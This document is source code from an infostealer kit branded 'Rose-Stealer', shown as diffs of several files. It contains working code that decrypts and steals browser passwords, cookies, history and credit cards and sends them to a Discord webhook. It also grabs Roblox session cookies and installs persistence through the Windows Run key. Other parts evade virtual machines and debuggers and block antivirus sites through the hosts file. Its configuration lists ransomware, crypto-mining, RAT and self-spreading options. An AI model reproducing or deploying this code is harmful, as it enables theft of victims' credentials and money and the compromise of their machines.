pass
def RobloxCookieGrabber(self):
browsers = [browser_cookie3.chrome, browser_cookie3.firefox, browser_cookie3.librewolf, browser_cookie3.opera, browser_cookie3.edge, browser_cookie3.chromium, browser_cookie3.brave, browser_cookie3.vivaldi, browser_cookie3.safari]
for browser in browsers:
try:
cookies = browser(domain_name="roblox.com")
cookies = str(cookies)
cookie = cookies.split(".ROBLOSECURITY=")[1].split(" for .roblox.com/>")[0].strip()
self.UploadRobloxCookie(cookie)
except:
pass
def run(self):
self.RobloxCookieGrabber()

View File

@@ -0,0 +1,33 @@
import subprocess
import sys
import os
import shutil
from _random_string import get_random_string
class Startup:
def __init__(self):
self.dir_name = get_random_string(12)
self.working_dir = os.path.join(os.getenv("APPDATA"), self.dir_name)
self.exec_name = f"{get_random_string(16)}.exe"
self.full_path = os.path.join(self.working_dir, self.exec_name)
self.reg_entry = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
self.regent_name = get_random_string(18)
self.mkdir()
self.copy_stub()
self.regedit()
def mkdir(self):
if not os.path.isdir(self.working_dir):
os.mkdir(self.working_dir)
else:
shutil.rmtree(self.working_dir)
os.mkdir(self.working_dir)
def copy_stub(self):
shutil.copy2(os.path.realpath(sys.executable), self.full_path)
def regedit(self):
subprocess.run(args=f'reg delete "{self.reg_entry}" /v {self.regent_name} /f', shell=True)
subprocess.run(args=f'reg add "{self.reg_entry}" /v {self.regent_name} /t REG_SZ /d "{self.full_path}" /f', shell=True)

View File

@@ -0,0 +1,23 @@
from bin.config import Config
from dhooks import Embed
from bin.webhook import _WebhookX
cc = Config()
class WebhookX:
def __init__(self):
self.webx = _WebhookX().get_object()
def locations_webhook(self, dictx):
embed = Embed(description="Location Infos:", color=cc.get_color(), timestamp="now") # sets the timestamp to current time
embed.set_author(name=cc.get_name(), icon_url=cc.get_avatar())
embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar())
for j in dictx:
print(j)
zvalue = dictx[j]
embed.add_field(name=j, value=f"`{zvalue}`")
self.webx.send(embed=embed)

View File

@@ -0,0 +1,483 @@
import subprocess
import getmac
import os
import requests
import winreg
import psutil
def user_check():
USERS = [
"Admin",
"BEE7370C-8C0C-4",
"DESKTOP-NAKFFMT",
"WIN-5E07COS9ALR",
"B30F0242-1C6A-4",
"DESKTOP-VRSQLAG",
"Q9IATRKPRH",
"XC64ZB",
"DESKTOP-D019GDM",
"DESKTOP-WI8CLET",
"SERVER1",
"LISA-PC",
"JOHN-PC",
"DESKTOP-B0T93D6",
"DESKTOP-1PYKP29",
"DESKTOP-1Y2433R",
"WILEYPC",
"WORK",
"6C4E733F-C2D9-4",
"RALPHS-PC",
"DESKTOP-WG3MYJS",
"DESKTOP-7XC6GEZ",
"DESKTOP-5OV9S0O",
"QarZhrdBpj",
"ORELEEPC",
"ARCHIBALDPC",
"JULIA-PC",
"d1bnJkfVlH",
"WDAGUtilityAccount",
"Abby",
"patex",
"RDhJ0CNFevzX",
"kEecfMwgj",
"Frank",
"8Nl0ColNQ5bq",
"Lisa",
"John",
"george",
"PxmdUOpVyx",
"8VizSM",
"w0fjuOVmCcP5A",
"lmVwjj9b",
"PqONjHVwexsS",
"3u2v9m8",
"Julia",
"HEUeRzl",
"fred",
"server",
"BvJChRPnsxn",
"Harry Johnson",
"SqgFOf3G",
"Lucas",
"mike",
"PateX",
"h7dk1xPr",
"Louise",
"User01",
"test",
"RGzcBUyrznReg",
"OgJb6GqgK0O",
"joshuarob",
]
try:
USER = os.getlogin()
if USER in USERS:
return True
except:
pass
def process_check():
PROCESSES = [
"http toolkit.exe",
"httpdebuggerui.exe",
"wireshark.exe",
"fiddler.exe",
"charles.exe",
"regedit.exe",
"cmd.exe",
"taskmgr.exe",
"vboxservice.exe",
"df5serv.exe",
"processhacker.exe",
"vboxtray.exe",
"vmtoolsd.exe",
"vmwaretray.exe",
"ida64.exe",
"ollydbg.exe",
"pestudio.exe",
"vmwareuser",
"vgauthservice.exe",
"vmacthlp.exe",
"x96dbg.exe",
"vmsrvc.exe",
"x32dbg.exe",
"vmusrvc.exe",
"prl_cc.exe",
"prl_tools.exe",
"qemu-ga.exe",
"joeboxcontrol.exe",
"ksdumperclient.exe",
"ksdumper.exe",
"joeboxserver.exe",
"xenservice.exe",
]
for proc in psutil.process_iter():
if any(procstr in proc.name().lower() for procstr in PROCESSES):
try:
proc.kill()
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass
def hwid_check():
HWIDS = [
"7AB5C494-39F5-4941-9163-47F54D6D5016",
"03DE0294-0480-05DE-1A06-350700080009",
"11111111-2222-3333-4444-555555555555",
"6F3CA5EC-BEC9-4A4D-8274-11168F640058",
"ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548",
"4C4C4544-0050-3710-8058-CAC04F59344A",
"00000000-0000-0000-0000-AC1F6BD04972",
"00000000-0000-0000-0000-000000000000",
"5BD24D56-789F-8468-7CDC-CAA7222CC121",
"49434D53-0200-9065-2500-65902500E439",
"49434D53-0200-9036-2500-36902500F022",
"777D84B3-88D1-451C-93E4-D235177420A7",
"49434D53-0200-9036-2500-369025000C65",
"B1112042-52E8-E25B-3655-6A4F54155DBF",
"00000000-0000-0000-0000-AC1F6BD048FE",
"EB16924B-FB6D-4FA1-8666-17B91F62FB37",
"A15A930C-8251-9645-AF63-E45AD728C20C",
"67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3",
"C7D23342-A5D4-68A1-59AC-CF40F735B363",
"63203342-0EB0-AA1A-4DF5-3FB37DBB0670",
"44B94D56-65AB-DC02-86A0-98143A7423BF",
"6608003F-ECE4-494E-B07E-1C4615D1D93C",
"D9142042-8F51-5EFF-D5F8-EE9AE3D1602A",
"49434D53-0200-9036-2500-369025003AF0",
"8B4E8278-525C-7343-B825-280AEBCD3BCB",
"4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27",
"79AF5279-16CF-4094-9758-F88A616D81B4",
"FF577B79-782E-0A4D-8568-B35A9B7EB76B",
"08C1E400-3C56-11EA-8000-3CECEF43FEDE",
"6ECEAF72-3548-476C-BD8D-73134A9182C8",
"49434D53-0200-9036-2500-369025003865",
"119602E8-92F9-BD4B-8979-DA682276D385",
"12204D56-28C0-AB03-51B7-44A8B7525250",
"63FA3342-31C7-4E8E-8089-DAFF6CE5E967",
"365B4000-3B25-11EA-8000-3CECEF44010C",
"D8C30328-1B06-4611-8E3C-E433F4F9794E",
"00000000-0000-0000-0000-50E5493391EF",
"00000000-0000-0000-0000-AC1F6BD04D98",
"4CB82042-BA8F-1748-C941-363C391CA7F3",
"B6464A2B-92C7-4B95-A2D0-E5410081B812",
"BB233342-2E01-718F-D4A1-E7F69D026428",
"9921DE3A-5C1A-DF11-9078-563412000026",
"CC5B3F62-2A04-4D2E-A46C-AA41B7050712",
"00000000-0000-0000-0000-AC1F6BD04986",
"C249957A-AA08-4B21-933F-9271BEC63C85",
"BE784D56-81F5-2C8D-9D4B-5AB56F05D86E",
"ACA69200-3C4C-11EA-8000-3CECEF4401AA",
"3F284CA4-8BDF-489B-A273-41B44D668F6D",
"BB64E044-87BA-C847-BC0A-C797D1A16A50",
"2E6FB594-9D55-4424-8E74-CE25A25E36B0",
"42A82042-3F13-512F-5E3D-6BF4FFFD8518",
"38AB3342-66B0-7175-0B23-F390B3728B78",
"48941AE9-D52F-11DF-BBDA-503734826431",
"A7721742-BE24-8A1C-B859-D7F8251A83D3",
"3F3C58D1-B4F2-4019-B2A2-2A500E96AF2E",
"D2DC3342-396C-6737-A8F6-0C6673C1DE08",
"EADD1742-4807-00A0-F92E-CCD933E9D8C1",
"AF1B2042-4B90-0000-A4E4-632A1C8C7EB1",
"FE455D1A-BE27-4BA4-96C8-967A6D3A9661",
"921E2042-70D3-F9F1-8CBD-B398A21F89C6",
"6AA13342-49AB-DC46-4F28-D7BDDCE6BE32",
"F68B2042-E3A7-2ADA-ADBC-A6274307A317",
"07AF2042-392C-229F-8491-455123CC85FB",
"4EDF3342-E7A2-5776-4AE5-57531F471D56",
"032E02B4-0499-05C3-0806-3C0700080009",
"11111111-2222-3333-4444-555555555555",
]
try:
HWID = subprocess.check_output(r"wmic csproduct get uuid", creationflags=0x08000000).decode().split("\n")[1].strip()
if HWID in HWIDS:
return True
except Exception:
pass
def ip_check():
try:
IPS = [
"None",
"88.132.231.71",
"78.139.8.50",
"20.99.160.173",
"88.153.199.169",
"84.147.62.12",
"194.154.78.160",
"92.211.109.160",
"195.74.76.222",
"188.105.91.116",
"34.105.183.68",
"92.211.55.199",
"79.104.209.33",
"95.25.204.90",
"34.145.89.174",
"109.74.154.90",
"109.145.173.169",
"34.141.146.114",
"212.119.227.151",
"195.239.51.59",
"192.40.57.234",
"64.124.12.162",
"34.142.74.220",
"188.105.91.173",
"109.74.154.91",
"34.105.72.241",
"109.74.154.92",
"213.33.142.50",
"109.74.154.91",
"93.216.75.209",
"192.87.28.103",
"88.132.226.203",
"195.181.175.105",
"88.132.225.100",
"92.211.192.144",
"34.83.46.130",
"188.105.91.143",
"34.85.243.241",
"34.141.245.25",
"178.239.165.70",
"84.147.54.113",
"193.128.114.45",
"95.25.81.24",
"92.211.52.62",
"88.132.227.238",
"35.199.6.13",
"80.211.0.97",
"34.85.253.170",
"23.128.248.46",
"35.229.69.227",
"34.138.96.23",
"192.211.110.74",
"35.237.47.12",
"87.166.50.213",
"34.253.248.228",
"212.119.227.167",
"193.225.193.201",
"34.145.195.58",
"34.105.0.27",
"195.239.51.3",
"35.192.93.107",
"213.33.190.22",
"194.154.78.152",
"20.114.22.115",
]
IP = requests.get("https://api.myip.com").json()["ip"]
if IP in IPS:
return True
except:
pass
def registry_check():
reg1 = os.system("REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2> nul")
reg2 = os.system("REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2> nul")
if reg1 != 1 and reg2 != 1:
return True
handle = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum")
try:
reg_val = winreg.QueryValueEx(handle, "0")[0]
if ("VMware" or "VBOX") in reg_val:
return True
finally:
winreg.CloseKey(handle)
def dll_check():
vmware_dll = os.path.join(os.environ["SystemRoot"], "System32\\vmGuestLib.dll")
virtualbox_dll = os.path.join(os.environ["SystemRoot"], "vboxmrxnp.dll")
if os.path.exists(vmware_dll):
return True
if os.path.exists(virtualbox_dll):
return True
def specs_check():
try:
RAM = str(psutil.virtual_memory()[0] / 1024**3).split(".")[0]
DISK = str(psutil.disk_usage("/")[0] / 1024**3).split(".")[0]
if int(RAM) <= 2:
return True
if int(DISK) <= 50:
return True
if int(psutil.cpu_count()) <= 1:
return True
except:
pass
def proc_check():
processes = ["VMwareService.exe", "VMwareTray.exe"]
for proc in psutil.process_iter():
for program in processes:
if proc.name() == program:
return True
def mac_check():
try:
MACS = [
"05:17:5D:75:D5:54",
"00:03:47:63:8b:de",
"00:0c:29:05:d8:6e",
"00:0c:29:2c:c1:21",
"00:0c:29:52:52:50",
"00:0d:3a:d2:4f:1f",
"00:15:5d:00:00:1d",
"00:15:5d:00:00:a4",
"00:15:5d:00:00:b3",
"00:15:5d:00:00:c3",
"00:15:5d:00:00:f3",
"00:15:5d:00:01:81",
"00:15:5d:00:02:26",
"00:15:5d:00:05:8d",
"00:15:5d:00:05:d5",
"00:15:5d:00:06:43",
"00:15:5d:00:07:34",
"00:15:5d:00:1a:b9",
"00:15:5d:00:1c:9a",
"00:15:5d:13:66:ca",
"00:15:5d:13:6d:0c",
"00:15:5d:1e:01:c8",
"00:15:5d:23:4c:a3",
"00:15:5d:23:4c:ad",
"00:15:5d:b6:e0:cc",
"00:1b:21:13:15:20",
"00:1b:21:13:21:26",
"00:1b:21:13:26:44",
"00:1b:21:13:32:20",
"00:1b:21:13:32:51",
"00:1b:21:13:33:55",
"00:23:cd:ff:94:f0",
"00:25:90:36:65:0c",
"00:25:90:36:65:38",
"00:25:90:36:f0:3b",
"00:25:90:65:39:e4",
"00:50:56:97:a1:f8",
"00:50:56:97:ec:f2",
"00:50:56:97:f6:c8",
"00:50:56:a0:06:8d",
"00:50:56:a0:38:06",
"00:50:56:a0:39:18",
"00:50:56:a0:45:03",
"00:50:56:a0:59:10",
"00:50:56:a0:61:aa",
"00:50:56:a0:6d:86",
"00:50:56:a0:84:88",
"00:50:56:a0:af:75",
"00:50:56:a0:cd:a8",
"00:50:56:a0:d0:fa",
"00:50:56:a0:d7:38",
"00:50:56:a0:dd:00",
"00:50:56:ae:5d:ea",
"00:50:56:ae:6f:54",
"00:50:56:ae:b2:b0",
"00:50:56:ae:e5:d5",
"00:50:56:b3:05:b4",
"00:50:56:b3:09:9e",
"00:50:56:b3:14:59",
"00:50:56:b3:21:29",
"00:50:56:b3:38:68",
"00:50:56:b3:38:88",
"00:50:56:b3:3b:a6",
"00:50:56:b3:42:33",
"00:50:56:b3:4c:bf",
"00:50:56:b3:50:de",
"00:50:56:b3:91:c8",
"00:50:56:b3:94:cb",
"00:50:56:b3:9e:9e",
"00:50:56:b3:a9:36",
"00:50:56:b3:d0:a7",
"00:50:56:b3:dd:03",
"00:50:56:b3:ea:ee",
"00:50:56:b3:ee:e1",
"00:50:56:b3:f6:57",
"00:50:56:b3:fa:23",
"00:e0:4c:42:c7:cb",
"00:e0:4c:44:76:54",
"00:e0:4c:46:cf:01",
"00:e0:4c:4b:4a:40",
"00:e0:4c:56:42:97",
"00:e0:4c:7b:7b:86",
"00:e0:4c:94:1f:20",
"00:e0:4c:b3:5a:2a",
"00:e0:4c:b8:7a:58",
"00:e0:4c:cb:62:08",
"00:e0:4c:d6:86:77",
"06:75:91:59:3e:02",
"08:00:27:3a:28:73",
"08:00:27:45:13:10",
"12:1b:9e:3c:a6:2c",
"12:8a:5c:2a:65:d1",
"12:f8:87:ab:13:ec",
"16:ef:22:04:af:76",
"1a:6c:62:60:3b:f4",
"1c:99:57:1c:ad:e4",
"1e:6c:34:93:68:64",
"2e:62:e8:47:14:49",
"2e:b8:24:4d:f7:de",
"32:11:4d:d0:4a:9e",
"3c:ec:ef:43:fe:de",
"3c:ec:ef:44:00:d0",
"3c:ec:ef:44:01:0c",
"3c:ec:ef:44:01:aa",
"3e:1c:a1:40:b7:5f",
"3e:53:81:b7:01:13",
"3e:c1:fd:f1:bf:71",
"42:01:0a:8a:00:22",
"42:01:0a:8a:00:33",
"42:01:0a:8e:00:22",
"42:01:0a:96:00:22",
"42:01:0a:96:00:33",
"42:85:07:f4:83:d0",
"4e:79:c0:d9:af:c3",
"4e:81:81:8e:22:4e",
"52:54:00:3b:78:24",
"52:54:00:8b:a6:08",
"52:54:00:a0:41:92",
"52:54:00:ab:de:59",
"52:54:00:b3:e4:71",
"56:b0:6f:ca:0a:e7",
"56:e8:92:2e:76:0d",
"5a:e2:a6:a4:44:db",
"5e:86:e4:3d:0d:f6",
"60:02:92:3d:f1:69",
"60:02:92:66:10:79",
"7e:05:a3:62:9c:4d",
"90:48:9a:9d:d5:24",
"92:4c:a8:23:fc:2e",
"94:de:80:de:1a:35",
"96:2b:e9:43:96:76",
"a6:24:aa:ae:e6:12",
"ac:1f:6b:d0:48:fe",
"ac:1f:6b:d0:49:86",
"ac:1f:6b:d0:4d:98",
"ac:1f:6b:d0:4d:e4",
"b4:2e:99:c3:08:3c",
"b4:a9:5a:b1:c6:fd",
"b6:ed:9d:27:f4:fa",
"be:00:e5:c5:0c:e5",
"c2:ee:af:fd:29:21",
"c8:9f:1d:b6:58:e4",
"ca:4d:4b:ca:18:cc",
"d4:81:d7:87:05:ab",
"d4:81:d7:ed:25:54",
"d6:03:e4:ab:77:8e",
"ea:02:75:3c:90:9f",
"ea:f6:f1:a2:33:76",
"f6:a5:41:31:b2:78",
]
MAC = str(getmac.get_mac_address())
if MAC in MACS:
return True
except:
pass

View File

@@ -0,0 +1,38 @@
# Entire code from https://github.com/blank-c/blank-grabber!
# Go give him some love.
import os
import subprocess
def block_sites():
call = subprocess.run("REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath", shell=True, capture_output=True)
if call.returncode != 0:
hostdirpath = os.path.join("System32", "drivers", "etc")
else:
hostdirpath = os.sep.join(call.stdout.decode(errors="ignore").strip().splitlines()[-1].split()[-1].split(os.sep)[1:])
hostfilepath = os.path.join(os.getenv("systemroot"), hostdirpath, "hosts")
if not os.path.isfile(hostfilepath):
return
with open(hostfilepath) as file:
data = file.readlines()
BANNED_SITES = ("virustotal.com", "avast.com", "totalav.com", "scanguard.com", "totaladblock.com", "pcprotect.com", "mcafee.com", "bitdefender.com", "us.norton.com", "avg.com", "malwarebytes.com", "pandasecurity.com", "avira.com", "norton.com", "eset.com", "zillya.com", "kaspersky.com", "usa.kaspersky.com", "sophos.com", "home.sophos.com", "adaware.com", "bullguard.com", "clamav.net", "drweb.com", "emsisoft.com", "f-secure.com", "zonealarm.com", "trendmicro.com", "ccleaner.com")
newdata = []
for i in data:
if any([(x in i) for x in BANNED_SITES]):
continue
else:
newdata.append(i)
for i in BANNED_SITES:
newdata.append("\t0.0.0.0 {}".format(i))
newdata.append("\t0.0.0.0 www.{}".format(i))
newdata = "\n".join(newdata).replace("\n\n", "\n")
subprocess.run("attrib -r {}".format(hostfilepath), shell=True, capture_output=True) # Removes read-only attribute from hosts file
with open(hostfilepath, "w") as file:
file.write(newdata)
subprocess.run("attrib +r {}".format(hostfilepath), shell=True, capture_output=True) # Adds read-only attribute to hosts file

View File

@@ -0,0 +1,342 @@
# Entire code from https://github.com/addi00000/empyrean!
# Go give him some love.
import base64
import datetime
import json
import os
import shutil
import sqlite3
from pathlib import Path
from zipfile import ZipFile
from bin.config import Config
from Crypto.Cipher import AES
from discord import Embed, File, SyncWebhook
from win32crypt import CryptUnprotectData
cc = Config()
__LOGINS__ = []
__COOKIES__ = []
__WEB_HISTORY__ = []
__DOWNLOADS__ = []
__CARDS__ = []
main_path = os.path.join(os.getenv("APPDATA"), "roseontop")
class Browsers:
def __init__(self, webhook):
self.webhook = SyncWebhook.from_url(webhook)
Chromium()
Upload(self.webhook)
class Upload:
def __init__(self, webhook: SyncWebhook):
self.webhook = webhook
self.write_files()
self.send()
self.clean()
def write_files(self):
os.makedirs(os.path.join(main_path, "vault"), exist_ok=True)
if __LOGINS__:
with open(os.path.join(main_path, "vault", "logins.txt"), "w", encoding="utf-8") as f:
f.write("\n".join(str(x) for x in __LOGINS__))
if __COOKIES__:
with open(os.path.join(main_path, "vault", "cookies.txt"), "w", encoding="utf-8") as f:
f.write("\n".join(str(x) for x in __COOKIES__))
if __WEB_HISTORY__:
with open(os.path.join(main_path, "vault", "web_history.txt"), "w", encoding="utf-8") as f:
f.write("\n".join(str(x) for x in __WEB_HISTORY__))
if __DOWNLOADS__:
with open(os.path.join(main_path, "vault", "downloads.txt"), "w", encoding="utf-8") as f:
f.write("\n".join(str(x) for x in __DOWNLOADS__))
if __CARDS__:
with open(os.path.join(main_path, "vault", "cards.txt"), "w", encoding="utf-8") as f:
f.write("\n".join(str(x) for x in __CARDS__))
with ZipFile(os.path.join(main_path, "vault.zip"), "w") as zip:
for file in os.listdir(os.path.join(main_path, "vault")):
zip.write(os.path.join(main_path, "vault", file), file)
def send(self):
self.webhook.send(embed=Embed(title="Vault", description="```" + "\n".join(self.tree(Path(os.path.join(main_path, "vault")))) + "```", timestamp=datetime.datetime.utcnow(), color=cc.get_color()), file=File(os.path.join(main_path, "vault.zip")), username=cc.get_name(), avatar_url=cc.get_avatar())
def clean(self):
shutil.rmtree(os.path.join(main_path, "vault"))
os.remove(os.path.join(main_path, "vault.zip"))
def tree(self, path: Path, prefix: str = "", midfix_folder: str = "📂 - ", midfix_file: str = "📄 - "):
pipes = {
"space": " ",
"branch": "",
"tee": "├── ",
"last": "└── ",
}
if prefix == "":
yield midfix_folder + path.name
contents = list(path.iterdir())
pointers = [pipes["tee"]] * (len(contents) - 1) + [pipes["last"]]
for pointer, path in zip(pointers, contents):
if path.is_dir():
yield f"{prefix}{pointer}{midfix_folder}{path.name} ({len(list(path.glob('**/*')))} files, {sum(f.stat().st_size for f in path.glob('**/*') if f.is_file()) / 1024:.2f} kb)"
extension = pipes["branch"] if pointer == pipes["tee"] else pipes["space"]
yield from self.tree(path, prefix=prefix + extension)
else:
yield f"{prefix}{pointer}{midfix_file}{path.name} ({path.stat().st_size / 1024:.2f} kb)"
class Chromium:
def __init__(self):
self.appdata = os.getenv("LOCALAPPDATA")
self.browsers = {
"amigo": self.appdata + "\\Amigo\\User Data",
"torch": self.appdata + "\\Torch\\User Data",
"kometa": self.appdata + "\\Kometa\\User Data",
"orbitum": self.appdata + "\\Orbitum\\User Data",
"cent-browser": self.appdata + "\\CentBrowser\\User Data",
"7star": self.appdata + "\\7Star\\7Star\\User Data",
"sputnik": self.appdata + "\\Sputnik\\Sputnik\\User Data",
"vivaldi": self.appdata + "\\Vivaldi\\User Data",
"google-chrome-sxs": self.appdata + "\\Google\\Chrome SxS\\User Data",
"google-chrome": self.appdata + "\\Google\\Chrome\\User Data",
"epic-privacy-browser": self.appdata + "\\Epic Privacy Browser\\User Data",
"microsoft-edge": self.appdata + "\\Microsoft\\Edge\\User Data",
"uran": self.appdata + "\\uCozMedia\\Uran\\User Data",
"yandex": self.appdata + "\\Yandex\\YandexBrowser\\User Data",
"brave": self.appdata + "\\BraveSoftware\\Brave-Browser\\User Data",
"iridium": self.appdata + "\\Iridium\\User Data",
}
self.profiles = [
"Default",
"Profile 1",
"Profile 2",
"Profile 3",
"Profile 4",
"Profile 5",
]
for _, path in self.browsers.items():
if not os.path.exists(path):
continue
self.master_key = self.get_master_key(f"{path}\\Local State")
if not self.master_key:
continue
for profile in self.profiles:
if not os.path.exists(path + "\\" + profile):
continue
operations = [
self.get_login_data,
self.get_cookies,
self.get_web_history,
self.get_downloads,
self.get_credit_cards,
]
for operation in operations:
try:
operation(path, profile)
except Exception as e:
# print(e)
pass
def get_master_key(self, path: str) -> str:
if not os.path.exists(path):
return
if "os_crypt" not in open(path, "r", encoding="utf-8").read():
return
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def get_login_data(self, path: str, profile: str):
login_db = f"{path}\\{profile}\\Login Data"
if not os.path.exists(login_db):
return
shutil.copy(login_db, "login_db")
conn = sqlite3.connect("login_db")
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for row in cursor.fetchall():
if not row[0] or not row[1] or not row[2]:
continue
password = self.decrypt_password(row[2], self.master_key)
__LOGINS__.append(Types.Login(row[0], row[1], password))
conn.close()
os.remove("login_db")
def get_cookies(self, path: str, profile: str):
cookie_db = f"{path}\\{profile}\\Network\\Cookies"
if not os.path.exists(cookie_db):
return
try:
shutil.copy(cookie_db, "cookie_db")
conn = sqlite3.connect("cookie_db")
cursor = conn.cursor()
cursor.execute("SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies")
for row in cursor.fetchall():
if not row[0] or not row[1] or not row[2] or not row[3]:
continue
cookie = self.decrypt_password(row[3], self.master_key)
__COOKIES__.append(Types.Cookie(row[0], row[1], row[2], cookie, row[4]))
conn.close()
except Exception as e:
print(e)
os.remove("cookie_db")
def get_web_history(self, path: str, profile: str):
web_history_db = f"{path}\\{profile}\\History"
if not os.path.exists(web_history_db):
return
shutil.copy(web_history_db, "web_history_db")
conn = sqlite3.connect("web_history_db")
cursor = conn.cursor()
cursor.execute("SELECT url, title, last_visit_time FROM urls")
for row in cursor.fetchall():
if not row[0] or not row[1] or not row[2]:
continue
__WEB_HISTORY__.append(Types.WebHistory(row[0], row[1], row[2]))
conn.close()
os.remove("web_history_db")
def get_downloads(self, path: str, profile: str):
downloads_db = f"{path}\\{profile}\\History"
if not os.path.exists(downloads_db):
return
shutil.copy(downloads_db, "downloads_db")
conn = sqlite3.connect("downloads_db")
cursor = conn.cursor()
cursor.execute("SELECT tab_url, target_path FROM downloads")
for row in cursor.fetchall():
if not row[0] or not row[1]:
continue
__DOWNLOADS__.append(Types.Download(row[0], row[1]))
conn.close()
os.remove("downloads_db")
def get_credit_cards(self, path: str, profile: str):
cards_db = f"{path}\\{profile}\\Web Data"
if not os.path.exists(cards_db):
return
shutil.copy(cards_db, "cards_db")
conn = sqlite3.connect("cards_db")
cursor = conn.cursor()
cursor.execute("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards")
for row in cursor.fetchall():
if not row[0] or not row[1] or not row[2] or not row[3]:
continue
card_number = self.decrypt_password(row[3], self.master_key)
__CARDS__.append(Types.CreditCard(row[0], row[1], row[2], card_number, row[4]))
conn.close()
os.remove("cards_db")
class Types:
class Login:
def __init__(self, url, username, password):
self.url = url
self.username = username
self.password = password
def __str__(self):
return f"{self.url}\t{self.username}\t{self.password}"
def __repr__(self):
return self.__str__()
class Cookie:
def __init__(self, host, name, path, value, expires):
self.host = host
self.name = name
self.path = path
self.value = value
self.expires = expires
def __str__(self):
return f'{self.host}\t{"FALSE" if self.expires == 0 else "TRUE"}\t{self.path}\t{"FALSE" if self.host.startswith(".") else "TRUE"}\t{self.expires}\t{self.name}\t{self.value}'
def __repr__(self):
return self.__str__()
class WebHistory:
def __init__(self, url, title, timestamp):
self.url = url
self.title = title
self.timestamp = timestamp
def __str__(self):
return f"{self.url}\t{self.title}\t{self.timestamp}"
def __repr__(self):
return self.__str__()
class Download:
def __init__(self, tab_url, target_path):
self.tab_url = tab_url
self.target_path = target_path
def __str__(self):
return f"{self.tab_url}\t{self.target_path}"
def __repr__(self):
return self.__str__()
class CreditCard:
def __init__(self, name, month, year, number, date_modified):
self.name = name
self.month = month
self.year = year
self.number = number
self.date_modified = date_modified
def __str__(self):
return f"{self.name}\t{self.month}\t{self.year}\t{self.number}\t{self.date_modified}"
def __repr__(self):
return self.__str__()

View File

@@ -0,0 +1,176 @@
class Config:
def __init__(self):
self.webhook = "WEBHOOK_URL"
self.debug_mode = False
self.rose_discord_rat = False
self.rose_discord_rat_socket_link = "ROSE_DISCORD_RAT_SOCKET_LINK"
self.knight_discord_rat = False
self.knight_discord_rat_bot_token = "KNIGHT_DISCORD_RAT_BOT_TOKEN"
self.knight_discord_rat_channel_id = "KNIGHT_DISCORD_RAT_CHANNEL_ID"
self.knight_discord_rat_listener_user_id = "KNIGHT_DISCORD_RAT_LISTENER_USER_ID"
self.knight_discord_rat_prefix = "KNIGHT_DISCORD_RAT_PREFIX"
self.ransomware = False
self.ransomware_email_adress = "RANS0MWARE_EMAIL"
self.ransomware_monero_wallet_adress = "RANSOMWARE_MONERO_ADRESS_"
self.ransomware_discord_webhook_url = "RANSOMWARE_WEBHOOKURL"
self.ransomware_amount_of_money = "RANSOMWARE_AMOUNT_0F_MONEY"
self.discord_ping = False
self.injection = False
self.token_stealing = False
self.browser_stealing = False
self.deviceinf_stealing = False
self.ipinf_stealing = False
self.roblox_stealing = False
self.screenshot = False
self.start_up = False
self.xmr_miner = False
self.xmr_adress = "wallet_adressss"
self.fake_error = False
self.nitro_auto_buy = False
self.uac_bypass = False
self.antivm = False
self.webcam = False
self.spread_malware = False
self.spread_malware_msg = "SPRMALWARE_MSFG"
self.rose_melt_stub = False
self.games = False
self.ts_bsod = False
self.bbcrash = False
self.disable_protectors = False
self.block_sites = False
self.eb_color = 16711680
self.eb_footer = "Rose-Stealer | t.me/rosegrabber"
self.wh_avatar = "https://raw.githubusercontent.com/DamagingRose/Rose-Grabber/main/resources/assets/Rose.png"
self.wh_name = "Rose-Stealer | t.me/rosegrabber"
def get_roblox_stealing(self):
return self.roblox_stealing
def get_injection(self):
return self.injection
def get_token_stealing(self):
return self.token_stealing
def get_browser_stealing(self):
return self.browser_stealing
def get_deviceinf_stealing(self):
return self.deviceinf_stealing
def get_ipinf_stealing(self):
return self.ipinf_stealing
def get_webhook(self):
return self.webhook
def get_color(self):
return self.eb_color
def get_footer(self):
return self.eb_footer
def get_debug_mode(self):
return self.debug_mode
def get_avatar(self):
return self.wh_avatar
def get_name(self):
return self.wh_name
def get_rose_discord_rat(self):
return self.rose_discord_rat
def get_rose_discord_rat_link(self):
return self.rose_discord_rat_socket_link
def get_knight_discord_rat(self):
return self.knight_discord_rat
def get_knight_discord_rat_bot_token(self):
return self.knight_discord_rat_bot_token
def get_knight_discord_rat_channel_id(self):
return self.knight_discord_rat_channel_id
def get_knight_discord_rat_listener_user_id(self):
return self.knight_discord_rat_listener_user_id
def get_knight_discord_rat_prefix(self):
return self.knight_discord_rat_prefix
def get_discord_ping(self):
return self.discord_ping
def get_screenshot(self):
return self.screenshot
def get_start_up(self):
return self.start_up
def get_xmr_miner(self):
return self.xmr_miner
def get_xmr_adress(self):
return self.xmr_adress
def get_fake_error(self):
return self.fake_error
def get_nitro_auto_buy(self):
return self.nitro_auto_buy
def get_uac_bypass(self):
return self.uac_bypass
def get_antivm(self):
return self.antivm
def get_webcam(self):
return self.webcam
def get_ransomware_email_adress(self):
return self.ransomware_email_adress
def get_ransomware_amount_of_money(self):
return self.ransomware_amount_of_money
